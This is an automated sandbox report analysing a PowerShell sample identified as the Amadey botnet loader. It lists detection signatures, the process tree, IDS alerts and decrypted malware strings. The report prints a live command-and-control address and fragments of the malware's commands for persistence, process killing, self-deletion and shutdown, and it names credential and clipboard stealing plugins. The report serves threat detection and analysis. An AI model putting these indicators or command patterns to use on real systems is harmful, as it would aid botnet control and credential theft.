Edit tour

Windows Analysis Report
nYT1CaXH9N.ps1

Overview

General Information

Sample name:	nYT1CaXH9N.ps1 renamed because original name is a hash value
Original sample name:	ab733235a722c734fb8f19160825cef1.ps1
Analysis ID:	1585766
MD5:	ab733235a722c734fb8f19160825cef1
SHA1:	162b73031c52d7356337479488d60c333f404fdd
SHA256:	32e6d8538c6b1d47942918cef259a80e70f06feb0145d6e41d44ec5917435391
Tags:	Amadeyps1user-abuse_ch
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys Clipper DLL

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Injects a PE file into a foreign processes

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Uses ipconfig to lookup or modify the Windows network settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected non-DNS traffic on DNS port

Detected potential crypto function

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6544 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 3180 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)

RegSvcs.exe (PID: 1436 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

wermgr.exe (PID: 3808 cmdline: "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6544" "2596" "2480" "2600" "0" "0" "2604" "0" "0" "0" "0" "0" MD5: 74A0194782E039ACE1F7349544DC1CF4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "176.113.115.131/8Fvu5jh4DbS/index.php", "Version": "5.10", "Install Folder": "adf0485ca6", "Install File": "Gxtuum.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000000.00000002.1864550591.00000296DBC33000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security

Unpacked PEs

Source	Rule	Description	Author
3.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
3.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0.2.powershell.exe.296dbc78c18.5.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0.2.powershell.exe.296dbc78c18.5.raw.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Sigma Signatures

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1", ProcessId: 6544, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1", ProcessId: 6544, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T08:42:16.679476+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	176.113.115.131	80	TCP

ETPRO MALWARE Amadey CnC Activity M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T08:42:05.045163+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49737	176.113.115.131	80	TCP
2025-01-08T08:42:09.575045+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49740	176.113.115.131	80	TCP
2025-01-08T08:42:14.191636+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49745	176.113.115.131	80	TCP
2025-01-08T08:42:18.914485+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49749	176.113.115.131	80	TCP
2025-01-08T08:42:23.498611+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49751	176.113.115.131	80	TCP
2025-01-08T08:42:28.049493+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49753	176.113.115.131	80	TCP
2025-01-08T08:42:32.618665+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49755	176.113.115.131	80	TCP
2025-01-08T08:42:37.175436+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49757	176.113.115.131	80	TCP
2025-01-08T08:42:41.763864+0100	2856148	1	A Network Trojan was detected	192.168.2.4	49759	176.113.115.131	80	TCP
2025-01-08T08:42:46.302886+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55811	176.113.115.131	80	TCP
2025-01-08T08:42:50.835270+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55813	176.113.115.131	80	TCP
2025-01-08T08:42:55.381034+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55815	176.113.115.131	80	TCP
2025-01-08T08:43:00.109511+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55838	176.113.115.131	80	TCP
2025-01-08T08:43:04.628949+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55869	176.113.115.131	80	TCP
2025-01-08T08:43:09.181141+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55897	176.113.115.131	80	TCP
2025-01-08T08:43:13.708822+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55929	176.113.115.131	80	TCP
2025-01-08T08:43:18.273842+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55961	176.113.115.131	80	TCP
2025-01-08T08:43:22.831688+0100	2856148	1	A Network Trojan was detected	192.168.2.4	55988	176.113.115.131	80	TCP
2025-01-08T08:43:27.388773+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56020	176.113.115.131	80	TCP
2025-01-08T08:43:31.919921+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56051	176.113.115.131	80	TCP
2025-01-08T08:43:36.481428+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56083	176.113.115.131	80	TCP
2025-01-08T08:43:41.038224+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56100	176.113.115.131	80	TCP
2025-01-08T08:43:45.574085+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56102	176.113.115.131	80	TCP
2025-01-08T08:43:50.102710+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56104	176.113.115.131	80	TCP
2025-01-08T08:43:54.672605+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56106	176.113.115.131	80	TCP
2025-01-08T08:43:59.204325+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56108	176.113.115.131	80	TCP
2025-01-08T08:44:03.754351+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56110	176.113.115.131	80	TCP
2025-01-08T08:44:08.335762+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56112	176.113.115.131	80	TCP
2025-01-08T08:44:12.906479+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56114	176.113.115.131	80	TCP
2025-01-08T08:44:17.458560+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56116	176.113.115.131	80	TCP
2025-01-08T08:44:22.035510+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56118	176.113.115.131	80	TCP
2025-01-08T08:44:26.596671+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56120	176.113.115.131	80	TCP
2025-01-08T08:44:31.162499+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56122	176.113.115.131	80	TCP
2025-01-08T08:44:35.733585+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56124	176.113.115.131	80	TCP
2025-01-08T08:44:40.266082+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56126	176.113.115.131	80	TCP
2025-01-08T08:44:44.828367+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56128	176.113.115.131	80	TCP
2025-01-08T08:44:49.376427+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56130	176.113.115.131	80	TCP
2025-01-08T08:44:53.964871+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56132	176.113.115.131	80	TCP
2025-01-08T08:44:58.568416+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56134	176.113.115.131	80	TCP
2025-01-08T08:45:03.143637+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56136	176.113.115.131	80	TCP
2025-01-08T08:45:07.716156+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56138	176.113.115.131	80	TCP
2025-01-08T08:45:12.274753+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56140	176.113.115.131	80	TCP
2025-01-08T08:45:16.834867+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56142	176.113.115.131	80	TCP
2025-01-08T08:45:21.394060+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56144	176.113.115.131	80	TCP
2025-01-08T08:45:25.968264+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56146	176.113.115.131	80	TCP
2025-01-08T08:45:30.523002+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56148	176.113.115.131	80	TCP
2025-01-08T08:45:35.080922+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56150	176.113.115.131	80	TCP
2025-01-08T08:45:39.706832+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56152	176.113.115.131	80	TCP
2025-01-08T08:45:44.265261+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56154	176.113.115.131	80	TCP
2025-01-08T08:45:48.840371+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56156	176.113.115.131	80	TCP
2025-01-08T08:45:53.412687+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56158	176.113.115.131	80	TCP
2025-01-08T08:45:57.976589+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56160	176.113.115.131	80	TCP
2025-01-08T08:46:02.527470+0100	2856148	1	A Network Trojan was detected	192.168.2.4	56162	176.113.115.131	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.131/8Fvu5jh4DbS/index.php", "Version": "5.10", "Install Folder": "adf0485ca6", "Install File": "Gxtuum.exe"}

Multi AV Scanner detection for submitted file

Source: nYT1CaXH9N.ps1	Virustotal: Detection: 8%			Perma Link
Source: nYT1CaXH9N.ps1	ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 176.113.115.131
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: /8Fvu5jh4DbS/index.php
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: S-%lu-
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: adf0485ca6
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Gxtuum.exe
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Startup
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rundll32
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Programs
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: %USERPROFILE%
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cred.dll
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: clip.dll
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: http://
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: https://
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: /quiet
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: /Plugins/
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: &unit=
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shell32.dll
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: kernel32.dll
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ProgramData\
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: AVAST Software
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Kaspersky Lab
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Panda Security
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Doctor Web
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 360TotalSecurity
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Bitdefender
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Norton
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Sophos
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Comodo
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: WinDefender
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 0123456789
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ------
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ?scr=1
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ComputerName
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: -unicode-
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: VideoID
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ProductName
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: CurrentBuild
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rundll32.exe
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: "taskkill /f /im "
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: " && timeout 1 && del
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: && Exit"
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: " && ren
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Powershell.exe
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shutdown -s -t 0
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: random
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Keyboard Layout\Preload
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 00000419
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 00000422
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 00000423
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 0000043f
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rundll32
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cred.dll
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: https://
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: clip.dll
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: && Exit"
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Startup
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: -unicode-
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Norton
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ?scr=1
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ------
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Sophos
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: random
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 00000422
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: " && ren
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: /Plugins/
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 00000423
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: /quiet
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: &unit=
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 0000043f
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: VideoID
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Comodo
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: S-%lu-
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Programs
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 00000419
Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: http://

Source:

Binary string: #.dll.pdb source: powershell.exe, 00000000.00000002.1839941977.00000296CB9E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000000.00000002.1840009085.00000296CCC64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1840009085.00000296CBC97000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49740 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:55815 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49745 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49749 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49753 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:55811 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:55838 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49737 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49755 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:55869 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:55813 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:55897 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49751 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:55988 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49759 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49757 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:56108 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:56104 -> 176.113.115.131:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:56102 -> 176.113.115.131:80
